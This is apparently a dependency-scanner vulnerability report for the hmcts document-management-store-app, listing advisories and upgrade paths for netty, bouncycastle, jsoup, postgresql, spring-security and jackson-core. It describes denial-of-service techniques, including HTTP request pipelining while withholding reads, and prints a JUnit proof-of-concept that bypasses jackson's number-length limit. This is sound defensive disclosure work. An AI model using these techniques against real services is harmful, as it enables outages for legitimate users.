  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.projectreactor.netty:reactor-netty-core@1.2.18 › io.netty:netty-handler-proxy@4.1.137.Final › io.netty:netty-codec-http@4.1.137.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.netty:netty-handler-proxy@4.1.137.Final › io.netty:netty-codec-http@4.1.137.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.netty:netty-codec-http@4.1.137.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.netty:netty-codec-http2@4.1.137.Final › io.netty:netty-codec-http@4.1.137.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.projectreactor.netty:reactor-netty-core@1.2.18 › io.netty:netty-handler-proxy@4.1.137.Final › io.netty:netty-codec-http@4.1.137.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.projectreactor.netty:reactor-netty-core@1.2.18 › io.netty:netty-handler-proxy@4.1.137.Final › io.netty:netty-codec-http@4.1.137.Final

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the enqueueMethod() method of HttpServerCodec, which packs the first 32 pipelined HTTP methods into a single long and then appends every further entry to the methodOverflowQueue ArrayDeque<Byte> with no size check. An attacker can exhaust the heap by pipelining a large number of minimal requests such as GET / HTTP/1.1\r\nHost: x\r\n\r\n on a single connection, with the growth coming from the codec's own per-connection bookkeeping rather than from buffered bodies. This requires the attacker to hold the connection open while withholding socket reads, so back pressure leaves responses unflushed and the decoder runs ahead of them, accumulating entries.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.138.Final, 4.2.18.Final or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.projectreactor.netty:reactor-netty-http
  • Introduced through: com.azure:azure-storage-blob@12.35.1

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the handling of HTTP/1.1 pipelined requests over a single connection. An attacker can cause excessive memory consumption by sending multiple pipelined requests, potentially leading to resource exhaustion and service disruption.

Remediation

Upgrade io.projectreactor.netty:reactor-netty-http to version 1.3.7 or higher.

References

high severity
new

Improper Certificate Validation

  • Vulnerable module: org.bouncycastle:bcpkix-jdk18on
  • Introduced through: org.apache.tika:tika-parsers-standard-package@3.3.2

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-microsoft-module@3.3.2 › org.bouncycastle:bcjmail-jdk18on@1.85 › org.bouncycastle:bcpkix-jdk18on@1.85
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.1.0.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-crypto-module@3.3.2 › org.bouncycastle:bcjmail-jdk18on@1.85 › org.bouncycastle:bcpkix-jdk18on@1.85
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.1.0.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-digest-commons@3.3.2 › org.bouncycastle:bcjmail-jdk18on@1.85 › org.bouncycastle:bcpkix-jdk18on@1.85
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.1.0.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-pdf-module@3.3.2 › org.bouncycastle:bcjmail-jdk18on@1.85 › org.bouncycastle:bcpkix-jdk18on@1.85
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.1.0.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-cad-module@3.3.2 › org.apache.tika:tika-parser-microsoft-module@3.3.2 › org.bouncycastle:bcjmail-jdk18on@1.85 › org.bouncycastle:bcpkix-jdk18on@1.85
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.1.0.

Overview

Affected versions of this package are vulnerable to Improper Certificate Validation. PKIXCertPathReviewer.checkNameConstraints() in org.bouncycastle.pkix.jcajce.PKIXCertPathReviewer and org.bouncycastle.x509.PKIXCertPathReviewer. An attacker can get a constrained certificate chain accepted by supplying a leaf certificate whose subject DN or subjectAltName violates the issuing CA’s NameConstraints extension. When an application relies on the reviewer’s isValidCertPath() result for trust decisions, it accepts an end-entity certificate that the CA was not authorized to issue, allowing unauthorized certificate acceptance.

Remediation

Upgrade org.bouncycastle:bcpkix-jdk18on to version 1.86 or higher.

References

high severity
new

Improper Validation of Integrity Check Value

  • Vulnerable module: org.bouncycastle:bcpkix-jdk18on
  • Introduced through: org.apache.tika:tika-parsers-standard-package@3.3.2

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-microsoft-module@3.3.2 › org.bouncycastle:bcjmail-jdk18on@1.85 › org.bouncycastle:bcpkix-jdk18on@1.85
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.1.0.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-crypto-module@3.3.2 › org.bouncycastle:bcjmail-jdk18on@1.85 › org.bouncycastle:bcpkix-jdk18on@1.85
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.1.0.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-digest-commons@3.3.2 › org.bouncycastle:bcjmail-jdk18on@1.85 › org.bouncycastle:bcpkix-jdk18on@1.85
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.1.0.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-pdf-module@3.3.2 › org.bouncycastle:bcjmail-jdk18on@1.85 › org.bouncycastle:bcpkix-jdk18on@1.85
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.1.0.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-cad-module@3.3.2 › org.apache.tika:tika-parser-microsoft-module@3.3.2 › org.bouncycastle:bcjmail-jdk18on@1.85 › org.bouncycastle:bcpkix-jdk18on@1.85
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.1.0.

Overview

Affected versions of this package are vulnerable to Improper Validation of Integrity Check Value in the CMSAuthenticatedDataParser process. An attacker can cause unauthorized attribute injection by crafting a message where the digestAlgorithm field is absent but authAttrs is present, allowing the insertion of arbitrary authenticated attributes that are not covered by the MAC. This can lead to applications making authorization, routing, or labeling decisions based on attacker-controlled values.

Remediation

Upgrade org.bouncycastle:bcpkix-jdk18on to version 1.86 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: org.jsoup:jsoup
  • Introduced through: org.apache.tika:tika-parsers-standard-package@3.3.2

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-html-module@3.3.2 › org.jsoup:jsoup@1.22.2
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.1.0.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-code-module@3.3.2 › org.jsoup:jsoup@1.22.2
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.1.0.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-microsoft-module@3.3.2 › org.apache.tika:tika-parser-html-module@3.3.2 › org.jsoup:jsoup@1.22.2
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.1.0.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-mail-module@3.3.2 › org.apache.tika:tika-parser-html-module@3.3.2 › org.jsoup:jsoup@1.22.2
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.1.0.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-cad-module@3.3.2 › org.apache.tika:tika-parser-microsoft-module@3.3.2 › org.apache.tika:tika-parser-html-module@3.3.2 › org.jsoup:jsoup@1.22.2
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.1.0.

Overview

org.jsoup:jsoup is a Java library for working with real-world HTML. It provides a very convenient API for extracting and manipulating data, using the best of DOM, CSS, and jquery-like methods. jsoup implements the WHATWG HTML5 specification, and parses HTML to the same DOM as modern browsers do.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the XmlTreeBuilder namespace scope tracking in src/main/java/org/jsoup/parser/XmlTreeBuilder.java. An attacker can exhaust JVM heap memory and terminate the application by supplying a deeply nested XML document with uniquely named namespace declarations. The parser copies the inherited namespace map on each start element, so parsing documents with many nested namespace bindings grows quadratically in time and retained memory. This can trigger an OutOfMemoryError in applications that accept untrusted XML input.

Remediation

Upgrade org.jsoup:jsoup to version 1.23.2 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: org.postgresql:postgresql
  • Introduced through: org.postgresql:postgresql@versions.postgresql

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.postgresql:postgresql@versions.postgresql
    Remediation: Upgrade to org.postgresql:postgresql@9.2-1002-jdbc4.

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling during the client-side SCRAM-SHA-256 authentication. An attacker can cause excessive CPU consumption by specifying a very large PBKDF2 iteration count during authentication attempts from a malicious server. This can lead to exhaustion of client CPU resources and disruption of connection pools.

Workaround

The following measures can reduce exposure:

  • Only connect to trusted PostgreSQL servers whose identity is verified. Connect only to trusted PostgreSQL servers, and verify server identity with TLS using sslmode=verify-full and a trusted CA. TLS without certificate and hostname verification is not sufficient as an active network attacker can still impersonate the server.

  • Do not rely on loginTimeout as a complete mitigation on unpatched versions. On affected versions, loginTimeout can stop the waiting caller while the worker thread continues spending CPU.

  • Avoid SCRAM on untrusted or interceptable connection paths. For those paths, use an authentication method that does not let the server choose a SCRAM PBKDF2 iteration count.

  • Reduce blast radius operationally. Limit parallel connection attempts, add retry backoff, isolate connection establishment in a separate worker or process when possible, and apply CPU or container limits where appropriate.

  • On trusted servers you control, keep SCRAM iteration counts at ordinary values. This does not defend against an attacker-controlled server, but it avoids unnecessary client cost when talking to legitimate servers.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.postgresql:postgresql to version 42.7.11 or higher.

References

high severity

Access Control Bypass

  • Vulnerable module: org.springframework.security:spring-security-config
  • Introduced through: org.springframework.security:spring-security-config@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-config@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-config@3.0.0.RELEASE.

Overview

org.springframework.security:spring-security-config is a security configuration package for Spring Framework.

Affected versions of this package are vulnerable to Access Control Bypass in the XML authorization rules processing when the servlet-path attribute is used. An attacker can gain unauthorized access to protected endpoints by crafting requests that bypass intended authorization checks.

Remediation

Upgrade org.springframework.security:spring-security-config to version 7.0.5 or higher.

References

high severity

Access Control Bypass

  • Vulnerable module: org.springframework.security:spring-security-config
  • Introduced through: org.springframework.security:spring-security-config@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-config@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-config@3.0.0.RELEASE.

Overview

org.springframework.security:spring-security-config is a security configuration package for Spring Framework.

Affected versions of this package are vulnerable to Access Control Bypass in the securityMatchers component when a PathPatternRequestMatcher.Builder bean is used to prepend a servlet path. An attacker can bypass authentication, authorization, and other security controls by crafting requests that are not properly matched to the intended filter chain.

Remediation

Upgrade org.springframework.security:spring-security-config to version 7.0.5 or higher.

References

high severity

Incorrect Authorization

  • Vulnerable module: org.springframework.security:spring-security-core
  • Introduced through: org.springframework.security:spring-security-core@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-core@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-core@2.0.0.

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Incorrect Authorization via the annotation detection mechanism when resolving annotations on methods within type hierarchies that use a parameterized super type with unbounded generics. An attacker can gain unauthorized access to protected resources by invoking methods that should be secured but are not properly checked due to incorrect annotation resolution.

Note: This is only exploitable if the application uses the @EnableMethodSecurity feature and applies security annotations on methods in generic superclasses or generic interfaces.

Remediation

Upgrade org.springframework.security:spring-security-core to version 6.4.10, 6.5.4 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: tools.jackson.core:jackson-core
  • Introduced through: net.logstash.logback:logstash-logback-encoder@9.0, org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 and others

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › net.logstash.logback:logstash-logback-encoder@9.0 › tools.jackson.core:jackson-databind@3.0.1 › tools.jackson.core:jackson-core@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1 › tools.jackson.core:jackson-core@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1 › tools.jackson.core:jackson-core@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1 › tools.jackson.core:jackson-core@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.data:spring-data-rest-webmvc@5.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1 › tools.jackson.core:jackson-core@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1 › tools.jackson.core:jackson-core@3.0.1

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in which the non-blocking async JSON parser can be made to bypass the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. An attacker can cause excessive memory allocation and CPU exhaustion by submitting JSON documents containing extremely long numeric values through the asynchronous parser interface.

PoC

The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
 * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
 *
 * Authors: sprabhav7, rohan-repos
 * 
 * maxNumberLength default = 1000 characters (digits).
 * A number with more than 1000 digits should be rejected by any parser.
 *
 * BUG: The async parser never calls resetInt()/resetFloat() which is where
 * validateIntegerLength()/validateFPLength() lives. Instead it calls
 * _valueComplete() which skips all number length validation.
 *
 * CWE-770: Allocation of Resources Without Limits or Throttling
 */
class AsyncParserNumberLengthBypassTest {

    private static final int MAX_NUMBER_LENGTH = 1000;
    private static final int TEST_NUMBER_LENGTH = 5000;

    private final JsonFactory factory = new JsonFactory();

    // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
    @Test
    void syncParserRejectsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
        
        // Output to console
        System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
        try {
            try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
                while (p.nextToken() != null) {
                    if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                        System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
                    }
                }
            }
            fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
        } catch (StreamConstraintsException e) {
            System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
        }
    }

    // VULNERABILITY: Async parser accepts the SAME number that sync rejects
    @Test
    void asyncParserAcceptsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

        NonBlockingByteArrayJsonParser p =
            (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
        p.feedInput(payload, 0, payload.length);
        p.endOfInput();

        boolean foundNumber = false;
        try {
            while (p.nextToken() != null) {
                if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                    foundNumber = true;
                    String numberText = p.getText();
                    assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
                        "Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
                }
            }
            // Output to console
            System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
            assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
        } catch (StreamConstraintsException e) {
            fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
        }
        p.close();
    }

    private byte[] buildPayloadWithLongInteger(int numDigits) {
        StringBuilder sb = new StringBuilder(numDigits + 10);
        sb.append("{\"v\":");
        for (int i = 0; i < numDigits; i++) {
            sb.append((char) ('1' + (i % 9)));
        }
        sb.append('}');
        return sb.toString().getBytes(StandardCharsets.UTF_8);
    }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade tools.jackson.core:jackson-core to version 3.1.0 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: tools.jackson.core:jackson-core
  • Introduced through: net.logstash.logback:logstash-logback-encoder@9.0, org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 and others

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › net.logstash.logback:logstash-logback-encoder@9.0 › tools.jackson.core:jackson-databind@3.0.1 › tools.jackson.core:jackson-core@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1 › tools.jackson.core:jackson-core@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1 › tools.jackson.core:jackson-core@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1 › tools.jackson.core:jackson-core@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.data:spring-data-rest-webmvc@5.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1 › tools.jackson.core:jackson-core@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1 › tools.jackson.core:jackson-core@3.0.1

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the enforcement of document length constraints in blocking, async, and DataInput parser processes. An attacker can cause excessive resource consumption by submitting oversized JSON documents that bypass configured size limits.

Remediation

Upgrade tools.jackson.core:jackson-core to version 3.1.1 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: tools.jackson.core:jackson-core
  • Introduced through: net.logstash.logback:logstash-logback-encoder@9.0, org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 and others

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › net.logstash.logback:logstash-logback-encoder@9.0 › tools.jackson.core:jackson-databind@3.0.1 › tools.jackson.core:jackson-core@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1 › tools.jackson.core:jackson-core@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1 › tools.jackson.core:jackson-core@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1 › tools.jackson.core:jackson-core@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.data:spring-data-rest-webmvc@5.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1 › tools.jackson.core:jackson-core@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1 › tools.jackson.core:jackson-core@3.0.1

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the NonBlockingUtf8JsonParserBase file. An attacker can exhaust system memory by streaming JSON input in small chunks to the asynchronous parser, causing unbounded accumulation of digit characters in memory due to missing validation of number length during chunked parsing. This can lead to denial of service by overwhelming the application's memory resources.

Remediation

Upgrade tools.jackson.core:jackson-core to version 3.1.4 or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: tools.jackson.core:jackson-core
  • Introduced through: net.logstash.logback:logstash-logback-encoder@9.0, org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 and others

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › net.logstash.logback:logstash-logback-encoder@9.0 › tools.jackson.core:jackson-databind@3.0.1 › tools.jackson.core:jackson-core@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1 › tools.jackson.core:jackson-core@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1 › tools.jackson.core:jackson-core@3.0.1
